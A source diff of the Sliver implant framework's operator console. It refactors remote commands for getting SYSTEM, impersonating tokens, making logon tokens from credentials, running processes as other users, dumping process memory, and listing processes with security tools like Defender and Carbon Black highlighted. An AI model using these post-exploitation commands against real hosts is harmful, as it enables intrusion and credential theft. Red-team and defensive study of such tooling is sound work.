config := &prelude.OperatorConfig{
Range: agentRange,
OperatorURL: url,
RPC: con.Rpc,
AESKey: aesKey,
}
sessionMapper := prelude.InitSessionMapper(config)
con.PrintInfof("Connected to Operator at %s\n", url)
if !skipExisting {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Could not get session list: %s", err)
return
}
if len(sessions.Sessions) > 0 {
con.PrintInfof("Adding existing sessions ...\n")
for _, session := range sessions.Sessions {
err = sessionMapper.AddSession(session)
if err != nil {
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
}
}
con.PrintInfof("Done !\n")
}
}
}
@@ -1,33 +0,0 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/desertbit/grumble"
)
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if prelude.SessionMapper != nil {
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
return
}
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
}
+22 -59
View File
@@ -1,5 +1,15 @@
package privilege
import (
"context"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
@@ -18,65 +28,38 @@ package privilege
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// GetPrivsCmd - Get the current process privileges (Windows only)
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
var processName string = "Current Process"
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Command only supported on Windows.\n")
if session.OS != "windows" {
con.PrintErrorf("Command not supported on this operating system.")
return
}
privs, err := con.Rpc.GetPrivs(context.Background(), &sliverpb.GetPrivsReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
pid := getPID(session, beacon)
if privs.Response != nil && privs.Response.Async {
con.AddBeaconCallback(privs.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, privs)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetPrivs(privs, pid, con)
})
con.PrintAsyncResponse(privs.Response)
} else {
PrintGetPrivs(privs, pid, con)
}
}
// PrintGetPrivs - Print the results of the get privs command
func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConsoleClient) {
// Response is the Envelope (see RPC API), Err is part of it.
if privs.Response != nil && privs.Response.Err != "" {
con.PrintErrorf("NOTE: Information may be incomplete due to an error:\n")
con.PrintErrorf("%s\n", privs.Response.Err)
}
if privs.PrivInfo == nil {
return
}
var processName string = "Current Process"
if privs.ProcessName != "" {
processName = privs.ProcessName
}
@@ -85,7 +68,7 @@ func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConso
// for column width
var nameColumnWidth int = 0
var descriptionColumnWidth int = 0
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(pid)))
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
for _, entry := range privs.PrivInfo {
if len(entry.Name) > nameColumnWidth {
@@ -100,7 +83,7 @@ func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConso
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Printf("Privilege Information for %s (PID: %d)\n", processName, pid)
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
con.Println(strings.Repeat("-", introWidth))
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
@@ -124,23 +107,3 @@ func PrintGetPrivs(privs *sliverpb.GetPrivs, pid int32, con *console.SliverConso
con.Printf("\n")
}
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
}
if beacon != nil {
return beacon.OS
}
panic("no session or beacon")
}
func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
if session != nil {
return session.PID
}
if beacon != nil {
return beacon.PID
}
panic("no session or beacon")
}
+7 -31
View File
@@ -23,58 +23,34 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// GetSystemCmd - Windows only, attempt to get SYSTEM on the remote system
func GetSystemCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Command only supported on Windows.\n")
return
}
process := ctx.Flags.String("process")
config := con.GetActiveSessionConfig()
ctrl := make(chan bool)
con.SpinUntil("Attempting to create a new sliver session as 'NT AUTHORITY\\SYSTEM'...", ctrl)
getSystem, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
Request: con.ActiveTarget.Request(ctx),
getsystemResp, err := con.Rpc.GetSystem(context.Background(), &clientpb.GetSystemReq{
Request: con.ActiveSession.Request(ctx),
Config: config,
HostingProcess: process,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if getSystem.Response != nil && getSystem.Response.Async {
con.AddBeaconCallback(getSystem.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, getSystem)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintGetSystem(getSystem, con)
})
con.PrintAsyncResponse(getSystem.Response)
} else {
PrintGetSystem(getSystem, con)
}
}
// PrintGetSystem - Print the results of get system
func PrintGetSystem(getsystemResp *sliverpb.GetSystem, con *console.SliverConsoleClient) {
if getsystemResp.Response != nil && getsystemResp.Response.GetErr() != "" {
if getsystemResp.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", getsystemResp.GetResponse().GetErr())
return
}
+7 -27
View File
@@ -22,48 +22,28 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ImpersonateCmd - Windows only, impersonate a user token
func ImpersonateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
username := ctx.Args.String("username")
impersonate, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
Request: con.ActiveTarget.Request(ctx),
impResp, err := con.Rpc.Impersonate(context.Background(), &sliverpb.ImpersonateReq{
Request: con.ActiveSession.Request(ctx),
Username: username,
})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if impersonate.Response != nil && impersonate.Response.Async {
con.AddBeaconCallback(impersonate.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, impersonate)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintImpersonate(impersonate, username, con)
})
con.PrintAsyncResponse(impersonate.Response)
} else {
PrintImpersonate(impersonate, username, con)
}
}
// PrintImpersonate - Print the results of the attempted impersonation
func PrintImpersonate(impersonate *sliverpb.Impersonate, username string, con *console.SliverConsoleClient) {
if impersonate.Response != nil && impersonate.Response.GetErr() != "" {
con.PrintErrorf("%s\n", impersonate.Response.GetErr())
if impResp.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", impResp.GetResponse().GetErr())
return
}
con.PrintInfof("Successfully impersonated %s\n", username)
+7 -25
View File
@@ -22,19 +22,16 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
username := ctx.Flags.String("username")
password := ctx.Flags.String("password")
domain := ctx.Flags.String("domain")
@@ -48,37 +45,22 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Creating new logon session ...", ctrl)
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Username: username,
Domain: domain,
Password: password,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if makeToken.Response != nil && makeToken.Response.Async {
con.AddBeaconCallback(makeToken.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, makeToken)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMakeToken(makeToken, domain, username, con)
})
con.PrintAsyncResponse(makeToken.Response)
} else {
PrintMakeToken(makeToken, domain, username, con)
}
}
// PrintMakeToken - Print the results of attempting to make a token
func PrintMakeToken(makeToken *sliverpb.MakeToken, domain string, username string, con *console.SliverConsoleClient) {
if makeToken.Response != nil && makeToken.Response.GetErr() != "" {
con.PrintErrorf("%s\n", makeToken.Response.GetErr())
if makeToken.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", makeToken.GetResponse().GetErr())
return
}
con.Println()
+6 -30
View File
@@ -22,46 +22,22 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RevToSelfCmd - Drop any impersonated tokens
func RevToSelfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
revert, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
Request: con.ActiveTarget.Request(ctx),
_, err := con.Rpc.RevToSelf(context.Background(), &sliverpb.RevToSelfReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if revert.Response != nil && revert.Response.Async {
con.AddBeaconCallback(revert.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, revert)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRev2Self(revert, con)
})
con.PrintAsyncResponse(revert.Response)
} else {
PrintRev2Self(revert, con)
}
}
// PrintRev2Self - Print the result of revert to self
func PrintRev2Self(revert *sliverpb.RevToSelf, con *console.SliverConsoleClient) {
if revert.Response != nil && revert.Response.GetErr() != "" {
con.PrintErrorf("%s\n", revert.Response.GetErr())
con.PrintErrorf("%s", err)
return
}
con.PrintInfof("Back to self...")
+8 -38
View File
@@ -22,19 +22,16 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RunAsCmd - Run a command as another user on the remote system
func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
username := ctx.Flags.String("username")
process := ctx.Flags.String("process")
arguments := ctx.Flags.String("args")
@@ -49,49 +46,22 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
runAs, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
Request: con.ActiveTarget.Request(ctx),
runAsResp, err := con.Rpc.RunAs(context.Background(), &sliverpb.RunAsReq{
Request: con.ActiveSession.Request(ctx),
Username: username,
ProcessName: process,
Args: arguments,
})
if err != nil {
con.PrintErrorf("%s", err)
return
}
name := getName(session, beacon)
if runAs.Response != nil && runAs.Response.Async {
con.AddBeaconCallback(runAs.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, runAs)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintRunAs(runAs, process, arguments, name, con)
})
con.PrintAsyncResponse(runAs.Response)
} else {
PrintRunAs(runAs, process, arguments, name, con)
}
}
// PrintRunAs - Print the result of run as
func PrintRunAs(runAs *sliverpb.RunAs, process string, args string, name string, con *console.SliverConsoleClient) {
if runAs.Response != nil && runAs.Response.GetErr() != "" {
con.PrintErrorf("%s\n", runAs.Response.GetErr())
if runAsResp.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", runAsResp.GetResponse().GetErr())
return
}
con.PrintInfof("Successfully ran %s %s on %s\n", process, args, name)
}
func getName(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Name
}
if beacon != nil {
return beacon.Name
}
panic("no session or beacon")
con.PrintInfof("Successfully ran %s %s on %s\n", process, arguments, session.GetName())
}
+12 -55
View File
@@ -22,26 +22,22 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"path"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ProcdumpCmd - Dump the memory of a remote process
func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
pid := ctx.Flags.Int("pid")
name := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
if pid == -1 && name != "" {
pid = GetPIDByName(ctx, name, con)
@@ -59,7 +55,7 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
con.SpinUntil("Dumping remote process memory ...", ctrl)
dump, err := con.Rpc.ProcessDump(context.Background(), &sliverpb.ProcessDumpReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Pid: int32(pid),
Timeout: int32(ctx.Flags.Int("timeout") - 1),
})
@@ -70,52 +66,13 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := getHostname(session, beacon)
if dump.Response != nil && dump.Response.Async {
con.AddBeaconCallback(dump.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, dump)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
})
con.PrintAsyncResponse(dump.Response)
} else {
PrintProcessDump(dump, saveTo, hostname, pid, con)
hostname := session.Hostname
tmpFileName := path.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
tmpFile, err := ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("Error creating temporary file: %v\n", err)
return
}
}
// PrintProcessDump - Handle the results of a process dump
func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string, pid int, con *console.SliverConsoleClient) {
var err error
var saveToFile *os.File
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
saveToFile, err = ioutil.TempFile("", tmpFileName)
if err != nil {
con.PrintErrorf("Error creating temporary file: %s\n", err)
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
}
}
defer saveToFile.Close()
saveToFile.Write(dump.GetData())
con.PrintInfof("Process dump stored in: %s\n", saveToFile.Name())
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
tmpFile.Write(dump.GetData())
con.PrintInfof("Process dump stored in: %s\n", tmpFile.Name())
}
+79 -92
View File
@@ -19,23 +19,24 @@ package processes
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
// "time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"google.golang.org/protobuf/proto"
)
var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string]string{
knownProcs = map[string]string{
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
@@ -45,111 +46,107 @@ var (
// PsCmd - List processes on the remote system
func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
pidFilter := ctx.Flags.Int("pid")
exeFilter := ctx.Flags.String("exe")
ownerFilter := ctx.Flags.String("owner")
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
os := getOS(session, beacon)
if ps.Response != nil && ps.Response.Async {
con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ps)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPS(os, ps, false, ctx, con)
})
con.PrintAsyncResponse(ps.Response)
} else {
PrintPS(os, ps, true, ctx, con)
}
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
} else if beacon != nil {
return beacon.OS
}
return ""
}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', tabwriter.DiscardEmptyColumns)
// PrintPS - Prints the process list
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
pidFilter := ctx.Flags.Int("pid")
exeFilter := ctx.Flags.String("exe")
ownerFilter := ctx.Flags.String("owner")
overflow := ctx.Flags.Bool("overflow")
skipPages := ctx.Flags.Int("skip-pages")
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
switch os {
switch session.GetOS() {
case "windows":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable", "session"})
fmt.Fprintf(table, "pid\tppid\towner\texecutable\tsession\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("pid")),
strings.Repeat("=", len("ppid")),
strings.Repeat("=", len("owner")),
strings.Repeat("=", len("executable")),
strings.Repeat("=", len("session")),
)
case "darwin":
fallthrough
case "linux":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("pid")),
strings.Repeat("=", len("ppid")),
strings.Repeat("=", len("owner")),
strings.Repeat("=", len("executable")),
)
default:
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "executable"})
fmt.Fprintf(table, "pid\tppid\towner\texecutable\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("pid")),
strings.Repeat("=", len("ppid")),
strings.Repeat("=", len("owner")),
strings.Repeat("=", len("executable")),
)
}
cmdLine := ctx.Flags.Bool("print-cmdline")
lineColors := []string{}
for _, proc := range ps.Processes {
if pidFilter != -1 && proc.Pid != int32(pidFilter) {
continue
var lineColor = ""
if pidFilter != -1 && proc.Pid == int32(pidFilter) {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
if exeFilter != "" && !strings.Contains(strings.ToLower(proc.Executable), strings.ToLower(exeFilter)) {
continue
if exeFilter != "" && strings.HasPrefix(proc.Executable, exeFilter) {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
continue
if ownerFilter != "" && strings.HasPrefix(proc.Owner, ownerFilter) {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
if pidFilter == -1 && exeFilter == "" && ownerFilter == "" {
lineColor = printProcInfo(table, proc, cmdLine, con)
}
procRow(tw, proc, cmdLine, con)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
})
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
// Should be set to normal/green if we rendered the line
if lineColor != "" {
lineColors = append(lineColors, lineColor)
}
}
table.Flush()
for index, line := range strings.Split(outputBuf.String(), "\n") {
if len(line) == 0 {
continue
}
// We need to account for the two rows of column headers
if 0 < len(line) && 2 <= index {
lineColor := lineColors[index-2]
con.Printf("%s%s%s\n", lineColor, line, console.Normal)
} else {
con.Printf("%s\n", line)
}
}
}
// procRow - Stylizes the process information
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
// printProcInfo - Stylizes the process information
func printProcInfo(table *tabwriter.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) string {
color := console.Normal
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
if modifyColor, ok := knownProcs[proc.Executable]; ok {
color = modifyColor
}
session := con.ActiveSession.GetInteractive()
if session != nil && proc.Pid == session.PID {
color = console.Green
}
if beacon != nil && proc.Pid == beacon.PID {
color = console.Green
}
var row table.Row
switch session.GetOS() {
case "windows":
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t%d\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable, proc.SessionID)
case "darwin":
fallthrough
case "linux":
@@ -162,28 +159,18 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
} else {
args = proc.Executable
}
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, args),
}
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, args)
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
fmt.Fprintf(table, "%d\t%d\t%s\t%s\t\n", proc.Pid, proc.Ppid, proc.Owner, proc.Executable)
}
}
tw.AppendRow(row)
return color
}
// GetPIDByName - Get a PID by name from the active session
func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleClient) int {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
return -1
+5 -24
View File
@@ -22,46 +22,27 @@ import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// TerminateCmd - Terminate a process on the remote system
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
pid := ctx.Args.Uint("pid")
terminated, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Pid: int32(pid),
Force: ctx.Flags.Bool("force"),
})
if terminated.Response != nil && terminated.Response.Async {
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, terminated)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintTerminate(terminated, con)
})
con.PrintAsyncResponse(terminated.Response)
} else {
PrintTerminate(terminated, con)
}
}
// PrintTerminate - Print the results of the terminate command
func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverConsoleClient) {
if terminated.Response != nil && terminated.Response.GetErr() != "" {
con.PrintErrorf("%s\n", terminated.Response.GetErr())
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Process %d has been terminated\n", terminated.Pid)
}
}
+1 -1
View File
@@ -29,7 +29,7 @@ import (
// ReactionSaveCmd - Manage reactions to events
func ReactionReloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) {
con.PrintErrorf("Missing reaction file %s\n", GetReactionFilePath())
con.PrintWarnf("Missing reaction file %s\n", GetReactionFilePath())
return
}
confirm := false
+1 -1
View File
@@ -47,7 +47,7 @@ func ReactionUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Println()
con.PrintInfof("Successfully removed reaction with id %d", reactionID)
} else {
con.PrintErrorf("No reaction found with id %d", reactionID)
con.PrintWarnf("No reaction found with id %d", reactionID)
}
con.Println()
}
+7 -41
View File
@@ -23,21 +23,14 @@ import (
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RegCreateKeyCmd - Create a new Windows registry key
func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
session := con.ActiveSession.Get()
if session == nil {
return
}
@@ -67,49 +60,22 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
createKey, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
createKeyResp, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
Hive: hive,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if createKey.Response != nil && createKey.Response.Async {
con.AddBeaconCallback(createKey.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, createKey)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCreateKey(createKey, finalPath, key, con)
})
con.PrintAsyncResponse(createKey.Response)
} else {
PrintCreateKey(createKey, finalPath, key, con)
}
}
// PrintCreateKey - Print the results of the crate key command
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
if createKey.Response != nil && createKey.Response.Err != "" {
con.PrintErrorf("%s", createKey.Response.Err)
if createKeyResp.Response != nil && createKeyResp.Response.Err != "" {
con.PrintErrorf("%s", createKeyResp.Response.Err)
return
}
con.PrintInfof("Key created at %s\\%s", regPath, key)
}
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.OS
}
if beacon != nil {
return beacon.OS
}
panic("no session or beacon")
}
+17 -76
View File
@@ -1,93 +1,50 @@
package registry
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
